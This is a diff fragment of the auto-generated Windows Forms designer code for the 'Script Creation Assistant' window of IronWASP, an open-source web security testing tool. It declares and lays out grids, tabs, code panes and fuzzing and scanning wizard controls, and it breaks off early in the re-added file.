this.dataGridViewCheckBoxColumn8, - this.dataGridViewTextBoxColumn12, - this.dataGridViewTextBoxColumn15}); - this.ToolsItemGrid.GridColor = System.Drawing.Color.White; - this.ToolsItemGrid.Location = new System.Drawing.Point(24, 62); - this.ToolsItemGrid.Name = "ToolsItemGrid"; - this.ToolsItemGrid.ReadOnly = true; - this.ToolsItemGrid.RowHeadersVisible = false; - this.ToolsItemGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ToolsItemGrid.Size = new System.Drawing.Size(413, 254); - this.ToolsItemGrid.TabIndex = 26; - this.ToolsItemGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ToolsItemGrid_CellClick); - // - // dataGridViewCheckBoxColumn8 - // - this.dataGridViewCheckBoxColumn8.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn8.HeaderText = ""; - this.dataGridViewCheckBoxColumn8.MinimumWidth = 25; - this.dataGridViewCheckBoxColumn8.Name = "dataGridViewCheckBoxColumn8"; - this.dataGridViewCheckBoxColumn8.ReadOnly = true; - this.dataGridViewCheckBoxColumn8.Width = 25; - // - // dataGridViewTextBoxColumn12 - // - this.dataGridViewTextBoxColumn12.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn12.HeaderText = "Select an Action:"; - this.dataGridViewTextBoxColumn12.Name = "dataGridViewTextBoxColumn12"; - this.dataGridViewTextBoxColumn12.ReadOnly = true; - this.dataGridViewTextBoxColumn12.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewTextBoxColumn12.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // dataGridViewTextBoxColumn15 - // - this.dataGridViewTextBoxColumn15.HeaderText = "Desc"; - this.dataGridViewTextBoxColumn15.Name = "dataGridViewTextBoxColumn15"; - this.dataGridViewTextBoxColumn15.ReadOnly = true; - this.dataGridViewTextBoxColumn15.Visible = false; - // - // textBox11 - // - this.textBox11.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.textBox11.BackColor = System.Drawing.Color.White; - this.textBox11.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox11.Location = new System.Drawing.Point(24, 15); - this.textBox11.Multiline = true; - this.textBox11.Name = "textBox11"; - this.textBox11.ReadOnly = true; - this.textBox11.Size = new System.Drawing.Size(826, 28); - this.textBox11.TabIndex = 25; - this.textBox11.TabStop = false; - this.textBox11.Text = resources.GetString("textBox11.Text"); - // - // CopyScriptLL - // - this.CopyScriptLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.CopyScriptLL.AutoSize = true; - this.CopyScriptLL.Location = new System.Drawing.Point(628, 7); - this.CopyScriptLL.Name = "CopyScriptLL"; - this.CopyScriptLL.Size = new System.Drawing.Size(156, 13); - this.CopyScriptLL.TabIndex = 2; - this.CopyScriptLL.TabStop = true; - this.CopyScriptLL.Text = "Copy Python Script to Clipboard"; - this.CopyScriptLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.CopyScriptLL_LinkClicked); - // - // ShowHideCommentsLL - // - this.ShowHideCommentsLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ShowHideCommentsLL.AutoSize = true; - this.ShowHideCommentsLL.Location = new System.Drawing.Point(798, 7); - this.ShowHideCommentsLL.Name = "ShowHideCommentsLL"; - this.ShowHideCommentsLL.Size = new System.Drawing.Size(78, 13); - this.ShowHideCommentsLL.TabIndex = 1; - this.ShowHideCommentsLL.TabStop = true; - this.ShowHideCommentsLL.Text = "HideComments"; - this.ShowHideCommentsLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ShowHideCommentsLL_LinkClicked); - // - // CodeTabs - // - this.CodeTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.CodeTabs.Controls.Add(this.PyCodeTab); - this.CodeTabs.Controls.Add(this.RbCodeTab); - this.CodeTabs.Location = new System.Drawing.Point(0, 25); - this.CodeTabs.Margin = new System.Windows.Forms.Padding(0); - this.CodeTabs.Name = "CodeTabs"; - this.CodeTabs.Padding = new System.Drawing.Point(0, 0); - this.CodeTabs.SelectedIndex = 0; - this.CodeTabs.Size = new System.Drawing.Size(884, 180); - this.CodeTabs.TabIndex = 0; - this.CodeTabs.SelectedIndexChanged += new System.EventHandler(this.CodeTabs_SelectedIndexChanged); - // - // PyCodeTab - // - this.PyCodeTab.Controls.Add(this.PythonCTB); - this.PyCodeTab.Location = new System.Drawing.Point(4, 22); - this.PyCodeTab.Margin = new System.Windows.Forms.Padding(0); - this.PyCodeTab.Name = "PyCodeTab"; - this.PyCodeTab.Size = new System.Drawing.Size(876, 154); - this.PyCodeTab.TabIndex = 0; - this.PyCodeTab.Text = " Python Code "; - this.PyCodeTab.UseVisualStyleBackColor = true; - // - // PythonCTB - // - this.PythonCTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.PythonCTB.LangCode = 1; - this.PythonCTB.Location = new System.Drawing.Point(0, 0); - this.PythonCTB.Margin = new System.Windows.Forms.Padding(0); - this.PythonCTB.Name = "PythonCTB"; - this.PythonCTB.ReadOnly = true; - this.PythonCTB.ShowLineNumbers = true; - this.PythonCTB.ShowSpacesAndTabs = false; - this.PythonCTB.Size = new System.Drawing.Size(876, 154); - this.PythonCTB.TabIndex = 1; - // - // RbCodeTab - // - this.RbCodeTab.Controls.Add(this.RubyCTB); - this.RbCodeTab.Location = new System.Drawing.Point(4, 22); - this.RbCodeTab.Margin = new System.Windows.Forms.Padding(0); - this.RbCodeTab.Name = "RbCodeTab"; - this.RbCodeTab.Size = new System.Drawing.Size(876, 154); - this.RbCodeTab.TabIndex = 1; - this.RbCodeTab.Text = " Ruby Code "; - this.RbCodeTab.UseVisualStyleBackColor = true; - // - // RubyCTB - // - this.RubyCTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.RubyCTB.LangCode = 2; - this.RubyCTB.Location = new System.Drawing.Point(0, 0); - this.RubyCTB.Margin = new System.Windows.Forms.Padding(0); - this.RubyCTB.Name = "RubyCTB"; - this.RubyCTB.ReadOnly = true; - this.RubyCTB.ShowLineNumbers = true; - this.RubyCTB.ShowSpacesAndTabs = false; - this.RubyCTB.Size = new System.Drawing.Size(876, 154); - this.RubyCTB.TabIndex = 2; - // - // ErrorLbl - // - this.ErrorLbl.AutoSize = true; - this.ErrorLbl.ForeColor = System.Drawing.Color.Red; - this.ErrorLbl.Location = new System.Drawing.Point(8, 7); - this.ErrorLbl.Name = "ErrorLbl"; - this.ErrorLbl.Size = new System.Drawing.Size(76, 13); - this.ErrorLbl.TabIndex = 3; - this.ErrorLbl.Text = " "; - // - // ScriptCreationAssistant - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(884, 562); - this.Controls.Add(this.BaseSplit); - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.Name = "ScriptCreationAssistant"; - this.Text = "Script Creation Assistant"; - this.Load += new System.EventHandler(this.ScriptCreationAssistant_Load); - this.BaseSplit.Panel1.ResumeLayout(false); - this.BaseSplit.Panel2.ResumeLayout(false); - this.BaseSplit.Panel2.PerformLayout(); - this.BaseSplit.ResumeLayout(false); - this.QuestionTabs.ResumeLayout(false); - this.tabPage15.ResumeLayout(false); - this.tabPage1.ResumeLayout(false); - this.tabControl1.ResumeLayout(false); - this.tabPage6.ResumeLayout(false); - this.tabPage6.PerformLayout(); - this.CRFromLogPanel.ResumeLayout(false); - this.CRFromLogPanel.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.CRLogSourceGrid)).EndInit(); - this.CRFromUrlPanel.ResumeLayout(false); - this.CRFromUrlPanel.PerformLayout(); - this.tabPage12.ResumeLayout(false); - this.tabPage12.PerformLayout(); - this.RPPQuestionGB.ResumeLayout(false); - this.RPPQuestionGB.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.RPPActionGrid)).EndInit(); - ((System.ComponentModel.ISupportInitialize)(this.RPPParameterTypeGrid)).EndInit(); - this.tabPage7.ResumeLayout(false); - this.tabPage7.PerformLayout(); - this.ROPQuestionGB.ResumeLayout(false); - this.ROPQuestionGB.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ROPParameterTypeGrid)).EndInit(); - this.tabPage8.ResumeLayout(false); - this.tabPage8.PerformLayout(); - this.groupBox1.ResumeLayout(false); - this.groupBox1.PerformLayout(); - this.tabPage13.ResumeLayout(false); - this.tabPage13.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ReqOActionsGrid)).EndInit(); - this.tabPage2.ResumeLayout(false); - this.tabControl2.ResumeLayout(false); - this.tabPage10.ResumeLayout(false); - this.tabPage10.PerformLayout(); - this.ResQuestionGB.ResumeLayout(false); - this.ResQuestionGB.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ResParameterTypeGrid)).EndInit(); - this.tabPage11.ResumeLayout(false); - this.tabPage11.PerformLayout(); - this.HtmlAnswerPanel.ResumeLayout(false); - this.HtmlAnswerPanel.PerformLayout(); - this.HtmlGEPanel.ResumeLayout(false); - this.HtmlGEPanel.PerformLayout(); - this.HtmlGVPanel.ResumeLayout(false); - this.HtmlGVPanel.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.HtmlOptionsGrid)).EndInit(); - ((System.ComponentModel.ISupportInitialize)(this.HtmlMainActionsGrid)).EndInit(); - this.tabPage9.ResumeLayout(false); - this.tabPage9.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ResOActionsGrid)).EndInit(); - this.tabPage3.ResumeLayout(false); - this.tabPage3.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.LogSourceGrid)).EndInit(); - this.tabPage4.ResumeLayout(false); - this.tabPage4.PerformLayout(); - this.tabPage14.ResumeLayout(false); - this.FuzzBaseTabs.ResumeLayout(false); - this.NameTab.ResumeLayout(false); - this.NameTab.PerformLayout(); - this.LanguageTab.ResumeLayout(false); - this.LanguageTab.PerformLayout(); - this.FuzzBodyTypeGB.ResumeLayout(false); - this.FuzzBodyTypeGB.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.FuzzBodyTypeGrid)).EndInit(); - ((System.ComponentModel.ISupportInitialize)(this.FuzzParameterTypeGrid)).EndInit(); - this.PayloadsTab.ResumeLayout(false); - this.PayloadsTab.PerformLayout(); - this.groupBox3.ResumeLayout(false); - this.groupBox3.PerformLayout(); - this.groupBox2.ResumeLayout(false); - this.groupBox2.PerformLayout(); - this.FinalTab.ResumeLayout(false); - this.FinalTab.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.FuzzSessionPluginGrid)).EndInit(); - this.tabPage16.ResumeLayout(false); - this.ScanBaseTabs.ResumeLayout(false); - this.tabPage18.ResumeLayout(false); - this.tabPage18.PerformLayout(); - this.ScanBodyTypeGB.ResumeLayout(false); - this.ScanBodyTypeGB.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ScanBodyTypeGrid)).EndInit(); - ((System.ComponentModel.ISupportInitialize)(this.ScanParameterTypeGrid)).EndInit(); - this.tabPage19.ResumeLayout(false); - this.tabPage19.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ScanPluginsGrid)).EndInit(); - this.tabPage20.ResumeLayout(false); - this.tabPage20.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ScanSessionPluginGrid)).EndInit(); - this.tabPage5.ResumeLayout(false); - this.tabPage5.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ToolsItemGrid)).EndInit(); - this.CodeTabs.ResumeLayout(false); - this.PyCodeTab.ResumeLayout(false); - this.RbCodeTab.ResumeLayout(false); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.SplitContainer BaseSplit; - private System.Windows.Forms.TabControl CodeTabs; - private System.Windows.Forms.TabPage PyCodeTab; - private System.Windows.Forms.TabPage RbCodeTab; - private System.Windows.Forms.TabControl QuestionTabs; - private System.Windows.Forms.TabPage tabPage1; - private System.Windows.Forms.TabPage tabPage2; - private System.Windows.Forms.TabPage tabPage3; - private System.Windows.Forms.TabPage tabPage4; - private System.Windows.Forms.TabPage tabPage5; - private System.Windows.Forms.TabControl tabControl1; - private System.Windows.Forms.TabPage tabPage6; - private System.Windows.Forms.TabPage tabPage7; - private System.Windows.Forms.TabPage tabPage8; - private System.Windows.Forms.TabControl tabControl2; - private System.Windows.Forms.TabPage tabPage10; - private System.Windows.Forms.TabPage tabPage11; - private System.Windows.Forms.TextBox textBox1; - private System.Windows.Forms.RadioButton CRFromLogRB; - private System.Windows.Forms.RadioButton CRFromUrlRB; - private System.Windows.Forms.CheckBox CRIncludeRequestBodyCB; - private System.Windows.Forms.TextBox CRRequestBodyTB; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.TextBox CRLogIdTB; - private System.Windows.Forms.DataGridView CRLogSourceGrid; - private System.Windows.Forms.DataGridViewCheckBoxColumn Column1; - private System.Windows.Forms.DataGridViewTextBoxColumn Column2; - private System.Windows.Forms.TextBox CRRequestUrlTB; - private System.Windows.Forms.Button CRCreateCodeBtn; - private System.Windows.Forms.Panel CRFromLogPanel; - private System.Windows.Forms.Panel CRFromUrlPanel; - private System.Windows.Forms.TextBox CRErrorTB; - private System.Windows.Forms.TextBox textBox2; - private System.Windows.Forms.RadioButton SRSendWithLogSourceRB; - private System.Windows.Forms.RadioButton SRNormalSendRB; - private System.Windows.Forms.RadioButton SRFollowRedirectRB; - private System.Windows.Forms.GroupBox groupBox1; - private System.Windows.Forms.RadioButton SRDontFollowRedirectRB; - private System.Windows.Forms.TextBox SRLogSourceTB; - private System.Windows.Forms.Label SRLogSourceLbl; - private System.Windows.Forms.TextBox SRErrorTB; - private System.Windows.Forms.Button SRCreateCodeBtn; - private System.Windows.Forms.LinkLabel ShowHideCommentsLL; - private System.Windows.Forms.TabPage tabPage12; - private System.Windows.Forms.TextBox textBox3; - private System.Windows.Forms.DataGridView RPPActionGrid; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn2; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn2; - private System.Windows.Forms.DataGridView RPPParameterTypeGrid; - private System.Windows.Forms.TextBox RPPParameterValueTB; - private System.Windows.Forms.Label RPPParameterValueLbl; - private System.Windows.Forms.TextBox RPPParameterNameTB; - private System.Windows.Forms.Label RPPParameterNameLbl; - private System.Windows.Forms.GroupBox RPPQuestionGB; - private System.Windows.Forms.RadioButton RPPAnswerTwoRB; - private System.Windows.Forms.RadioButton RPPAnswerOneRB; - private System.Windows.Forms.TextBox RPPErrorTB; - private System.Windows.Forms.Button RPPCreateCodeBtn; - private System.Windows.Forms.TextBox RPPParameterDescriptionTB; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn1; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn1; - private System.Windows.Forms.DataGridViewTextBoxColumn Column3; - private System.Windows.Forms.RichTextBox ROPDisplayRTB; - private System.Windows.Forms.TextBox ROPParameterDescriptionTB; - private System.Windows.Forms.TextBox ROPErrorTB; - private System.Windows.Forms.Button ROPCreateCodeBtn; - private System.Windows.Forms.TextBox ROPParameterValueTB; - private System.Windows.Forms.Label ROPParameterValueLbl; - private System.Windows.Forms.GroupBox ROPQuestionGB; - private System.Windows.Forms.RadioButton ROPAnswerEditRB; - private System.Windows.Forms.RadioButton ROPAnswerReadRB; - private System.Windows.Forms.DataGridView ROPParameterTypeGrid; - private System.Windows.Forms.TextBox textBox7; - private System.Windows.Forms.RichTextBox ResDisplayRTB; - private System.Windows.Forms.TextBox ResParameterDescriptionTB; - private System.Windows.Forms.TextBox ResErrorTB; - private System.Windows.Forms.Button ResCreateCodeBtn; - private System.Windows.Forms.TextBox ResParameterValueTB; - private System.Windows.Forms.Label ResParameterValueLbl; - private System.Windows.Forms.GroupBox ResQuestionGB; - private System.Windows.Forms.RadioButton ResAnswerEditRB; - private System.Windows.Forms.RadioButton ResAnswerReadRB; - private System.Windows.Forms.DataGridView ResParameterTypeGrid; - private System.Windows.Forms.TextBox textBox8; - private System.Windows.Forms.DataGridView HtmlMainActionsGrid; - private System.Windows.Forms.TextBox textBox4; - private System.Windows.Forms.TextBox HtmlDescriptionTB; - private System.Windows.Forms.TextBox HtmlErrorTB; - private System.Windows.Forms.Button HtmlCreateCodeBtn; - private System.Windows.Forms.DataGridView HtmlOptionsGrid; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn3; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn3; - private System.Windows.Forms.DataGridViewTextBoxColumn Column4; - private System.Windows.Forms.DataGridViewTextBoxColumn Column5; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn4; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn4; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn5; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn6; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn8; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn5; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn7; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn9; - private System.Windows.Forms.Label label7; - private System.Windows.Forms.Label label6; - private System.Windows.Forms.TextBox HtmlGVHelperAttributeValueTB; - private System.Windows.Forms.TextBox HtmlGVHelperAttributeNameTB; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.TextBox HtmlGVMainAttributeNameTB; - private System.Windows.Forms.TextBox HtmlGVTagTB; - private System.Windows.Forms.Label label4; - private System.Windows.Forms.Panel HtmlGVPanel; - private System.Windows.Forms.Panel HtmlGEPanel; - private System.Windows.Forms.Label label9; - private System.Windows.Forms.Label label10; - private System.Windows.Forms.TextBox HtmlGETagTB; - private System.Windows.Forms.Label label11; - private System.Windows.Forms.TextBox HtmlGEAttributeValueTB; - private System.Windows.Forms.TextBox HtmlGEAttributeNameTB; - private System.Windows.Forms.TextBox HtmlAnswerDescriptionTB; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn6; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn10; - private System.Windows.Forms.DataGridViewTextBoxColumn Column6; - private System.Windows.Forms.Panel HtmlAnswerPanel; - private System.Windows.Forms.Label HtmlAnswerLbl; - private System.Windows.Forms.TextBox HtmlAnswerTB; - private System.Windows.Forms.Button LogCreateCodeBtn; - private System.Windows.Forms.DataGridView LogSourceGrid; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn7; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn11; - private System.Windows.Forms.TextBox LogErrorTB; - private System.Windows.Forms.TextBox textBox6; - private CodeTextBox PythonCTB; - private CodeTextBox RubyCTB; - private System.Windows.Forms.Button CrawlCreateCodeBtn; - private System.Windows.Forms.RadioButton CrawlFormsRB; - private System.Windows.Forms.RadioButton CrawlLinksRB; - private System.Windows.Forms.RadioButton CrawlCookiesRB; - private System.Windows.Forms.TextBox textBox5; - private System.Windows.Forms.Button ToolsCreateCodeBtn; - private System.Windows.Forms.DataGridView ToolsItemGrid; - private System.Windows.Forms.TextBox textBox11; - private System.Windows.Forms.TextBox textBox14; - private System.Windows.Forms.TextBox textBox13; - private System.Windows.Forms.TextBox textBox12; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn8; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn12; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn15; - private System.Windows.Forms.TabPage tabPage13; - private System.Windows.Forms.TabPage tabPage9; - private System.Windows.Forms.Button ReqOCreateCodeBtn; - private System.Windows.Forms.DataGridView ReqOActionsGrid; - private System.Windows.Forms.TextBox textBox16; - private System.Windows.Forms.Button ResOCreateCodeBtn; - private System.Windows.Forms.DataGridView ResOActionsGrid; - private System.Windows.Forms.TextBox textBox15; - private System.Windows.Forms.TextBox ReqODescTB; - private System.Windows.Forms.TextBox ResODescTB; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn10; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn16; - private System.Windows.Forms.DataGridViewTextBoxColumn Column7; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn17; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn9; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn13; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn18; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn14; - private System.Windows.Forms.TabPage tabPage14; - private System.Windows.Forms.TabPage tabPage15; - private System.Windows.Forms.RichTextBox IntroRTB; - private System.Windows.Forms.TabControl FuzzBaseTabs; - private System.Windows.Forms.TabPage NameTab; - private System.Windows.Forms.TextBox textBox9; - private System.Windows.Forms.Button FuzzStepZeroNextBtn; - private System.Windows.Forms.TabPage LanguageTab; - internal System.Windows.Forms.TextBox FuzzStep1StatusTB; - private System.Windows.Forms.TextBox textBox18; - private System.Windows.Forms.Button FuzzStepOnePreviousBtn; - private System.Windows.Forms.Button FuzzStepOneNextBtn; - private System.Windows.Forms.TabPage PayloadsTab; - private System.Windows.Forms.Label label13; - private System.Windows.Forms.RadioButton FuzzNoOriginalParameterRB; - private System.Windows.Forms.RadioButton FuzzOriginalParameterAfterPayloadRB; - private System.Windows.Forms.RadioButton FuzzOriginalParameterBeforePayloadRB; - private System.Windows.Forms.TextBox textBox10; - private System.Windows.Forms.Label FuzzPayloadsFileLbl; - private System.Windows.Forms.TextBox FuzzPayloadsListTB; - private System.Windows.Forms.LinkLabel FuzzLoadPayloadsFileLL; - internal System.Windows.Forms.TextBox FuzzStep2StatusTB; - private System.Windows.Forms.TextBox textBox17; - private System.Windows.Forms.Button FuzzStepTwoPreviousBtn; - private System.Windows.Forms.Button FuzzStepTwoNextBtn; - private System.Windows.Forms.TabPage FinalTab; - private System.Windows.Forms.Button FuzzCreateCodeBtn; - private System.Windows.Forms.RadioButton FuzzInCodeRB; - private System.Windows.Forms.RadioButton FuzzUseUiRB; - private System.Windows.Forms.DataGridView FuzzParameterTypeGrid; - private System.Windows.Forms.TextBox FuzzParametersNameListTB; - private System.Windows.Forms.DataGridView FuzzBodyTypeGrid; - private System.Windows.Forms.RadioButton FuzzListedParametersRB; - private System.Windows.Forms.RadioButton FuzzAllParametersRB; - private System.Windows.Forms.Label FuzzParametersNameListLbl; - private System.Windows.Forms.LinkLabel FuzzAddPointLL; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn11; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn19; - private System.Windows.Forms.GroupBox FuzzBodyTypeGB; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn12; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn20; - private System.Windows.Forms.TextBox FuzzBodyCustomEndTB; - private System.Windows.Forms.Label FuzzBodyCustomEndLbl; - private System.Windows.Forms.TextBox FuzzBodyCustomStartTB; - private System.Windows.Forms.Label FuzzBodyCustomStartLbl; - private System.Windows.Forms.TextBox FuzzBodyCustomMsgTB; - private System.Windows.Forms.GroupBox groupBox2; - private System.Windows.Forms.RadioButton FuzzPayloadEncodedNoRB; - private System.Windows.Forms.RadioButton FuzzPayloadEncodedYesRB; - private System.Windows.Forms.Button FuzzStepThreePreviousBtn; - private System.Windows.Forms.TextBox FuzzLogSourceTB; - private System.Windows.Forms.Label label8; - private System.Windows.Forms.DataGridView FuzzSessionPluginGrid; - private System.Windows.Forms.TextBox FuzzSessionPluginMsgTB; - private System.Windows.Forms.CheckBox FuzzUseCustomLogSourceCB; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn13; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn21; - internal System.Windows.Forms.TextBox FuzzStep3StatusTB; - private System.Windows.Forms.OpenFileDialog PayloadFileOpener; - private System.Windows.Forms.GroupBox groupBox3; - private System.Windows.Forms.RadioButton FuzzLoadPayloadsFromFileRB; - private System.Windows.Forms.RadioButton FuzzUsePayloadsFromListRB; - private System.Windows.Forms.TextBox FuzzSelectedParametersListTB; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.TabPage tabPage16; - private System.Windows.Forms.TabControl ScanBaseTabs; - private System.Windows.Forms.TabPage tabPage18; - private System.Windows.Forms.TextBox ScanSelectedParametersListTB; - private System.Windows.Forms.GroupBox ScanBodyTypeGB; - private System.Windows.Forms.TextBox ScanBodyCustomMsgTB; - private System.Windows.Forms.TextBox ScanBodyCustomEndTB; - private System.Windows.Forms.Label ScanBodyCustomEndLbl; - private System.Windows.Forms.TextBox ScanBodyCustomStartTB; - private System.Windows.Forms.Label ScanBodyCustomStartLbl; - private System.Windows.Forms.DataGridView ScanBodyTypeGrid; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn14; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn22; - private System.Windows.Forms.LinkLabel ScanAddPointLL; - private System.Windows.Forms.Label ScanParametersNameListLbl; - private System.Windows.Forms.TextBox ScanParametersNameListTB; - private System.Windows.Forms.RadioButton ScanListedParametersRB; - private System.Windows.Forms.RadioButton ScanAllParametersRB; - internal System.Windows.Forms.TextBox ScanStep0StatusTB; - private System.Windows.Forms.TextBox textBox26; - private System.Windows.Forms.Button ScanResetBtn; - private System.Windows.Forms.Button ScanStepZeroNextBtn; - private System.Windows.Forms.TabPage tabPage19; - internal System.Windows.Forms.TextBox ScanStep1StatusTB; - private System.Windows.Forms.TextBox textBox30; - private System.Windows.Forms.Button ScanStepOnePreviousBtn; - private System.Windows.Forms.Button ScanStepOneNextBtn; - private System.Windows.Forms.TabPage tabPage20; - internal System.Windows.Forms.TextBox ScanStep2StatusTB; - private System.Windows.Forms.DataGridView ScanSessionPluginGrid; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn16; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn24; - private System.Windows.Forms.TextBox ScanSessionPluginMsgTB; - private System.Windows.Forms.Button ScanStepTwoPreviousBtn; - private System.Windows.Forms.Button ScanCreateCodeBtn; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn15; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn23; - private System.Windows.Forms.DataGridView ScanParameterTypeGrid; - internal System.Windows.Forms.CheckBox ScanAllPluginsCB; - internal System.Windows.Forms.DataGridView ScanPluginsGrid; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn17; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn25; - private System.Windows.Forms.LinkLabel CopyScriptLL; - private System.Windows.Forms.Label ErrorLbl; - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class ScriptCreationAssistant + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ScriptCreationAssistant)); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle5 = new 